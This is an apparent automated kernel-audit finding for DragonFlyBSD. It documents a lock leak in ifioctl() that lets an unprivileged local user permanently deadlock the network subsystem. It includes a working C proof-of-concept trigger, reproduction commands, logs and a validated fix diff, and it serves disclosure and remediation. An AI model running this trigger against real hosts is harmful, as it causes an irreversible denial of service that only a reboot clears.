β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-0272

Missing ifnet_unlock on error paths in SIOCAIFGROUP/SIOCDIFGROUP/SIOCGIFGROUP/SIOCSIFDESCR: permanent ifnet_mtx deadlock

Field Value
ID DF-0272
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-667 Improper Locking
File sys/net/if.c
Lines 2389-2406
Area net
Confidence certain
Discovered 2026-06-30
Reported pending

Summary

ifioctl() acquires the global ifnet_mtx at line 2029. Six error paths inside the switch statement use return (error) instead of break, bypassing the ifnet_unlock() at line 2449. SIOCGIFGROUP has no caps_priv_check, so any unprivileged user calling ioctl(s, SIOCGIFGROUP, &ifgr) with a mismatched ifgr_len triggers the error path, leaks ifnet_mtx permanently, and deadlocks the entire network subsystem β€” every subsequent ifconfig, interface attach/detach, route change, and packet socket operation blocks forever.

Root cause

// sys/net/if.c:2029
ifnet_lock();          // acquired

// sys/net/if.c:2402-2407
case SIOCGIFGROUP:
    ifgr = (struct ifgroupreq *)ifr;
    if ((error = if_getgroups(ifgr, ifp)))
        return (error);     // :2406 β€” LEAKS ifnet_mtx!
    break;

// sys/net/if.c:2449-2450 (normal exit, never reached)
ifnet_unlock();
return (error);

The same bug exists at lines 2112, 2389, 2391, 2398, 2400. These bare return statements were likely copy-pasted from the pre-lock cases (SIOCIFCREATE/SIOCIFDESTROY at lines 2005-2016 where return is correct).

Threat model & preconditions

  • Attacker position: Any unprivileged local user with a socket.
  • Impact: Permanent kernel deadlock of the entire network subsystem. Every operation requiring ifnet_lock() blocks forever. Irreversible without reboot. No privilege escalation.
  • Required config: Default kernel. Any network interface present.
  • Reachability: ioctl(s, SIOCGIFGROUP, &ifgr) where ifgr.ifgr_len is set to any value that doesn't match the actual group list size.

Proof of concept

#include <sys/socket.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <string.h>
#include <unistd.h>

int main(void) {
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifgroupreq ifgr;
    memset(&ifgr, 0, sizeof(ifgr));
    strlcpy(ifgr.ifgr_name, "lo0", IFNAMSIZ);
    ifgr.ifgr_len = 1;  /* deliberately wrong size */
    ioctl(s, SIOCGIFGROUP, &ifgr);
    /* ifnet_mtx is now permanently held.
     * All subsequent ifconfig/interface operations hang forever. */
    return 0;
}

Expected output

# After running the PoC, any network operation hangs:
$ ifconfig        # hangs forever (D-state)
$ ping localhost  # hangs forever
# System requires reboot to recover.

Replace every bare return (error) inside the locked switch region with break:

--- a/sys/net/if.c
+++ b/sys/net/if.c
@@ -2404,7 +2404,7 @@
        ifgr = (struct ifgroupreq *)ifr;
        if ((error = if_getgroups(ifgr, ifp)))
-           return (error);
+           break;
        break;

Apply the same fix to lines 2112, 2389, 2391, 2398, 2400.

Timeline

  • 2026-06-30 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-0272 Β· 13 files
FileTypeDescriptionSize
poc.c trigger-source SIOCGIFGROUP ifgr_len-mismatch trigger that leaks ifnet_mtx; self-verifies with a forked second ioctl 5.0 KB view raw
build.sh build-script cc -O2 -Wall -o poc poc.c 115 B view raw
run.sh run-script runs ./poc as the unprivileged user 257 B view raw
run.log run-log original decisive unpatched run: trigger EINVAL + 'child PID 851 still alive after 6 s β€” DEADLOCK CONFIRMED' 730 B view raw
baseline_run.log baseline-run-log this session's #0 baseline re-confirm: DEADLOCK_CONFIRMED + cross-session ifconfig hang (rc=124) 952 B view raw
env.txt environment uname, id (uid 1001), cc version, lo0 default groups 731 B view raw
fix.diff suggested-fix git-apply-able: convert all six bare return(error)/return(ENAMETOOLONG) inside the ifnet_lock()-held switch body of ifioctl() to break; verified git apply --check passes; applied cleanly to /usr/src (both hunks succeeded at 2109 + 2386) 958 B view raw
fix_build.log fix-build-log FULL nativekernel build output (35329 lines) of the single-fix #1 kernel; NK_DONE rc=0 5.6 MB ↓ download
fix_run.log fix-run-log patched #1 PoC run x3 (RESULT: NO_DEADLOCK each) + follow-up ifconfig/route prompt; before/after contrast 1.8 KB view raw
VERDICT.md verdict full narrative: line-by-line trace, privilege model, why the wedge is total, recovery, Phase 8 fix-validation 8.9 KB ↓ raw
README.md readme build/run/expected + one-liner mechanism 1.6 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme build/run/expected + one-liner mechanism
↓ download raw

DF-0272 β€” ifnet_mtx leak via SIOCGIFGROUP / SIOCAIFGROUP / SIOCDIFGROUP / SIOCSIFDESCR

Unprivileged local DoS. One syscall from uid 1001 permanently wedges the entire DragonFlyBSD network subsystem; reboot required.

Build

cc -O2 -Wall -o poc poc.c        # or: ./build.sh

Run (as unprivileged user β€” maxx uid 1001)

./poc                            # or: ./run.sh

Expected on the vulnerable master DEV kernel

[*] lo0 real group_len=32
[+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument)
[!] child PID <n> still alive after 6 s β€” DEADLOCK CONFIRMED

At that point ifnet_mtx is permanently held by the (long-returned) triggering thread. Any subsequent network operation that needs ifnet_lock() blocks forever in D-state and is unkillable:

  • ifconfig lo0 from a fresh SSH session hangs forever (verified β€” timeout 4 ifconfig cannot interrupt; the SSH session had to be torn down by the harness at 120 s).
  • route, interface up/down, packet socket operations β€” all blocked.

Recovery: dfbsd-qemu/vm.sh reset.

On a fixed kernel (with fix.diff applied) the trigger still returns EINVAL, but the lock is released and the second ioctl returns immediately β€” the PoC prints RESULT: NO_DEADLOCK and exits cleanly.

Mechanism (one-liner)

ifioctl() takes ifnet_mtx at sys/net/if.c:2029 and unlocks at sys/net/if.c:2450; six return (error) branches inside that region skip the unlock. SIOCGIFGROUP (sys/net/if.c:2403-2407) is the easiest unprivileged path β€” no caps_priv_check at all.

See VERDICT.md for the full line-by-line trace and fix.diff for the verified one-line-per-site fix.

VERDICT.md verdict full narrative: line-by-line trace, privilege model, why the wedge is total, recovery, Phase 8 fix-validation
↓ download raw

DF-0272 β€” SIOCGIFGROUP/SIOCAIFGROUP/SIOCDIFGROUP/SIOCSIFDESCR leak ifnet_mtx

Verdict

REPRODUCED. Unprivileged local user β†’ permanent, system-wide network deadlock (DoS). Confirmed twice on the master DEV guest:

  1. From within the PoC: the second SIOCGIFGROUP ioctl (on a fresh socket, same process) blocks forever β€” the forked child is still alive after the 6 s probe window and is unkillable (D-state).
  2. From a separate fresh SSH session after the PoC exits the syscall: ifconfig lo0 (which dispatches through ifioctl() and reaches ifnet_lock()) blocks forever in D-state; timeout 4 ifconfig cannot interrupt it and the ssh session is torn down at the 120 s harness limit.

No panic, no kernel message β€” the kernel just hangs every caller of ifnet_lock() forever. Recovery requires a hard reboot (vm.sh reset).

Root cause (every hop cited)

ifioctl() (sys/net/if.c:1979) acquires the global mutex ifnet_mtx (sys/net/if.c:195, MTX_INITIALIZER("ifnet")) at sys/net/if.c:2029 (ifnet_lock()) β€” implemented at sys/net/if.c:3784-3790 as mtx_lock(&ifnet_mtx), a non-recursive sleeping mutex. The matching unlock is at sys/net/if.c:2450 (ifnet_unlock()), reached only by falling through the end of the switch (cmd) via break.

Six error branches inside that locked switch use return (error) instead of break, jumping over the unlock:

Line Case Trigger Priv?
2112 SIOCSIFDESCR ifr_buffer.length > ifdescr_maxlen root-only
2389 SIOCAIFGROUP caps_priv_check fails (unprivileged caller!) unpriv
2391 SIOCAIFGROUP if_addgroup() fails root-only
2398 SIOCDIFGROUP caps_priv_check fails (unprivileged caller!) unpriv
2400 SIOCDIFGROUP if_delgroup() fails root-only
2406 SIOCGIFGROUP if_getgroups() returns EINVAL (size mismatch) unpriv

SIOCGIFGROUP is the cleanest unprivileged trigger:

// sys/net/if.c:2403-2407   (SIOCGIFGROUP β€” no caps_priv_check anywhere)
case SIOCGIFGROUP:
    ifgr = (struct ifgroupreq *)ifr;
    if ((error = if_getgroups(ifgr, ifp)))   // returns EINVAL at :1282
        return (error);                       // :2406 LEAKS ifnet_mtx
    break;

if_getgroups() returns EINVAL whenever ifgr->ifgr_len is non-zero and does not equal the actual per-iface group-list size (sys/net/if.c:1281-1283). Any unprivileged user with a UDP socket can do this:

  • socket(AF_INET, SOCK_DGRAM, 0) β€” no privilege needed
  • ioctl(s, SIOCGIFGROUP, &ifgr) with ifgr.ifgr_len set to any value that does not match the live group count (the PoC probes the real length first with len=0, then sends len=real+1).

The SIOCGIFGROUP constant is _IOWR('i', 136, struct ifgroupreq) (sys/sys/sockio.h:125). sys_socket.c:180-181 dispatches anything in the 'i' ioctl group to ifioctl() with no privilege check at the socket layer; the SIOCGIFGROUP handler itself performs no caps_priv_check, so the path is wide open to uid 1001.

(SIOCAIFGROUP/SIOCDIFGROUP at lines 2387/2396 do call caps_priv_check(cred, SYSCAP_NONET_IFCONFIG) after ifnet_lock() is already held β€” and their failure branches at lines 2389/2398 also return (error), so even an unprivileged user asking to add or delete a group leaks the lock too. SIOCSIFDESCR at line 2112 is gated by SYSCAP_RESTRICTEDROOT (line 2101) so its leak is root-only, but it's still a real bug β€” a root process can wedge the box by accident.)

Why the wedge is total

ifnet_mtx is a single, global, non-recursive mutex protecting the entire interface list and the ifioctl switch. Once leaked, every subsequent call to ifnet_lock() sleeps forever β€” including ifconfig, route (via interface lookups), interface attach/detach, and any further ioctl in the 'i' group. The mutex owner is the long-gone userspace thread that returned from the syscall with the lock still held; nothing will ever release it short of a reboot. Affected callers block in uninterruptible (mtx_lock) sleep, so SIGKILL cannot reclaim them β€” that is why even timeout 4 ifconfig couldn't terminate and the SSH session had to be torn down by the harness.

Exploit chain / weaponisation

This is a pure DoS primitive (CWE-667 / CVSS 3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H β€” 5.5, Medium-to-High). There is no memory-corruption surface to escalate from: the bug is a control-flow (lock-drop) error, not an OOB/UAF. The realistic attacker value is a one-shot, irreversible, unprivileged "kill networking on this box" β€” which is exactly what the PoC demonstrates. No further escalation is derivable; no chain was developed.

Recovery is reboot-only. A non-root user can permanently deny service to every network operation on the host with a single syscall.

PoC changes

The finding shipped no PoC source tree at all (findings/poc/DF-0272/ did not exist). I authored:

  • poc.c β€” minimal self-verifying trigger. Probes the real ifgr_len for lo0 with len=0, then sends len=real+1 to force the EINVAL branch and leak ifnet_mtx. Forks a child that immediately issues a second SIOCGIFGROUP on a fresh socket; if the child is still alive after a 6 s probe window, the deadlock is confirmed. The child is left in D-state (SIGKILL cannot wake it) β€” that itself is part of the proof.
  • build.sh, run.sh β€” exact repro commands.
  • fix.diff β€” converts all six bare return (error) inside the locked switch region to break so they fall through to ifnet_unlock() at line 2450.

fix.diff supersedes the finding's proposal (which only listed line 2406 plus a "same fix to 2112/2389/2391/2398/2400" hand-wave β€” this diff covers all six sites with verified line numbers and applies cleanly with git apply). Single logical change: every return (error) / return (ENAMETOOLONG) inside the ifnet_lock()-held switch body of ifioctl() becomes break, so control flows to the ifnet_unlock(); return (error); epilog at sys/net/if.c:2450-2451.

How to reproduce

ssh dfbsd-maxx 'cd poc/DF-0272 && cc -O2 -Wall -o poc poc.c && ./poc'
# Expected: "[!] child PID <n> still alive after 6 s β€” DEADLOCK CONFIRMED"
# At that point ifconfig / any further net ioctl on the guest hangs forever
# and the box must be reset (dfbsd-qemu/vm.sh reset).

Fix validation (Phase 8 β€” re-run this session, 2026-07-02)

Baseline re-confirmed on the UNPATCHED #0 kernel (DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026):

[*] lo0 real group_len=32
[+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument)
[!] child PID 942 still alive after 6 s β€” DEADLOCK CONFIRMED
(harness rc=124 β€” PoC's own waitpid on the D-state child blocked too)

Cross-session wedge proof: a fresh ifconfig lo0 from a separate ssh session blocked for the full 8 s timeout (rc=124) β€” the lock is globally held, every ifnet_lock() caller sleeps forever. No panic, no kernel message; reboot-only recovery.

Single-fix kernel built, installed, booted as #1 (DragonFly 6.5-DEVELOPMENT #1: Thu Jul 2 11:55:04 UTC 2026, kernel.stripped sha256 df6d8ac6…):

  • Applied fix.diff to /usr/src (patch -p1, both hunks succeeded at lines 2109 and 2386; all six return (error) / return (ENAMETOOLONG) inside the ifnet_lock()-held switch body of ifioctl() now break).
  • make -j6 nativekernel KERNCONF=X86_64_GENERIC β†’ NK_DONE rc=0 (full 35329-line log in fix_build.log).
  • Copied kernel.stripped β†’ /boot/kernel/kernel (bare name the loader boots), kernel.debug β†’ /boot/kernel/kernel.debug, sync, reboot.

Patched #1 result β€” fix CONFIRMED (ran 3Γ— for determinism):

[*] lo0 real group_len=32
[+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument)   # trigger still errors
[*] child exited normally (code=1) β€” second ioctl returned, NO deadlock
RESULT: NO_DEADLOCK

Follow-up network ops from a separate fresh ssh after 3 PoC runs:

IFCONFIG_DONE rc=0   (returned immediately β€” was permanently hung on #0)
ROUTE_DONE rc=0      (route -n get 127.0.0.1 returned immediately)

The trigger ioctl still returns EINVAL (the if_getgroups() size-mismatch error path is unchanged and correct), but the lock is now released by the break falling through to ifnet_unlock() at sys/net/if.c:2450. The network subsystem stays fully responsive.

Verdict: fix_status = fixed. Clean before/after: #0 deadlocks (internal child + cross-session ifconfig both hang) β†’ #1 no deadlock (child exits, follow-up ops prompt). The fix closes the bug. See fix_run.log for the full patched-kernel transcript and fix_build.log for the full nativekernel build output.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED. On the unpatched #0 baseline the PoC's trigger SIOCGIFGROUP (len=33) returned EINVAL and leaked ifnet_mtx: the forked second-ioctl child stayed blocked past 6s (DEADLOCK_CONFIRMED) and a fresh-ssh ifconfig lo0 hung for the full 8s timeout (rc=124). On the single-fix #1 kernel (fix.diff applied, both hunks succeeded at 2109+2386, nativekernel NK_DONE rc=0, kernel.stripped installed as bare /boot/kernel/kernel) the same trigger still returns EINVAL but the lock is released: RESULT: NO_DEADLOCK on 3/3 runs and follow-up ifconfig + route get from a separate ssh return promptly (rc=0). The fix closes the bug.

baseline #0: [+] trigger ioctl (len=33) rc=-1 errno=22; [!] child PID 942 still alive after 6 s β€” DEADLOCK CONFIRMED; fresh-ssh ifconfig rc=124 (hung 8s). patched #1 (sha256 df6d8ac6...): [+] trigger ioctl (len=33) rc=-1 errno=22 (same); [*] child exited normally (code=1); RESULT: NO_DEADLOCK (x3); fresh-ssh IFCONFIG_DONE rc=0 + ROUTE_DONE rc=0. nativekernel build: NK_DONE rc=0.
↓ fix.diffDragonFly 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #1: Thu Jul 2 11:55:04 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64 (kernel.stripped sha256 df6d8ac67c5eca4dd62381aa9281bce44ce45570fa58dfd1247f1839188de8b7)

Confirmed kernel references

Detail

Exploit chain

Pure DoS primitive (CWE-667, CVSS 3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H = 5.5). One unprivileged SIOCGIFGROUP ioctl with a size-mismatched ifgr_len leaks the global non-recursive ifnet_mtx forever; every subsequent ifnet_lock() caller (ifconfig, route, interface attach/detach, any 'i'-group ioctl) blocks in uninterruptible sleep -> permanent system-wide network deadlock, reboot-only recovery. No memory-corruption surface; no escalation derivable. No chain developed.

Evidence (decisive lines)

BASELINE (#0): trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument); [!] child PID 942 still alive after 6 s β€” DEADLOCK CONFIRMED; fresh-ssh `ifconfig lo0` hung 8s (harness rc=124). PATCHED (#1, sha256 df6d8ac6...): same trigger EINVAL, but [+] child exited normally (code=1) β€” second ioctl returned, NO deadlock; RESULT: NO_DEADLOCK (x3 runs); fresh-ssh IFCONFIG_DONE rc=0 + ROUTE_DONE rc=0 (prompt). nativekernel build NK_DONE rc=0.

PoC changes

No PoC source changes this run (poc.c/build.sh/run.sh unchanged; code_hash identical). fix.diff already correct from the prior session β€” re-verified it applies cleanly to /usr/src (both hunks at 2109 + 2386) and covers all six leak sites inside the ifnet_lock()-held switch body. Added baseline_run.log, fix_build.log (full 35329-line nativekernel output), fix_run.log (patched #1 runs x3 + follow-up ops), and a Phase 8 section to VERDICT.md; refreshed manifest.json with fix_status/fix_kernel_uname/fix_kernel_sha256.

Verified recommended fix

In sys/net/if.c ifioctl(), convert all six bare return (error) / return (ENAMETOOLONG) statements inside the ifnet_lock()-held switch body (lines 2112, 2389, 2391, 2398, 2400, 2406) to break, so each error path falls through to the ifnet_unlock(); return (error); epilog at sys/net/if.c:2450-2451. Single logical change; minimal and targeted at the root cause. Matches (and fully enumerates with verified line numbers) the finding markdown's proposal. Full git-apply-able diff in findings/poc/DF-0272/fix.diff.

Verdict

REPRODUCED on the unpatched #0 master DEV kernel and FIX VALIDATED. ifioctl() takes the global ifnet_mtx at sys/net/if.c:2029 and unlocks only at sys/net/if.c:2450; six error branches inside that locked switch use return (error)/return (ENAMETOOLONG) instead of break, bypassing the unlock. The SIOCGIFGROUP handler (sys/net/if.c:2403-2406) has no caps_priv_check at all, so any unprivileged user with a UDP socket who passes an ifgr_len that doesn't match the live per-iface group count forces if_getgroups() to return EINVAL (sys/net/if.c:1281-1283) and leaks the lock permanently. Baseline re-confirmed this session: the PoC's forked second SIOCGIFGROUP child was still blocked after 6s (DEADLOCK_CONFIRMED), and a fresh ifconfig lo0 from a SEPARATE ssh session hung for the full 8s timeout (rc=124) β€” the network subsystem is globally wedged (reboot-only recovery, no panic). The single-fix kernel (#1, built with fix.diff applied) correctly converts all six bare returns to break so control falls through to ifnet_unlock() at :2450: on the patched kernel the same trigger still returns EINVAL but RESULT: NO_DEADLOCK (3/3 runs), and follow-up ifconfig + route ops from a separate ssh return immediately. Clean before/after.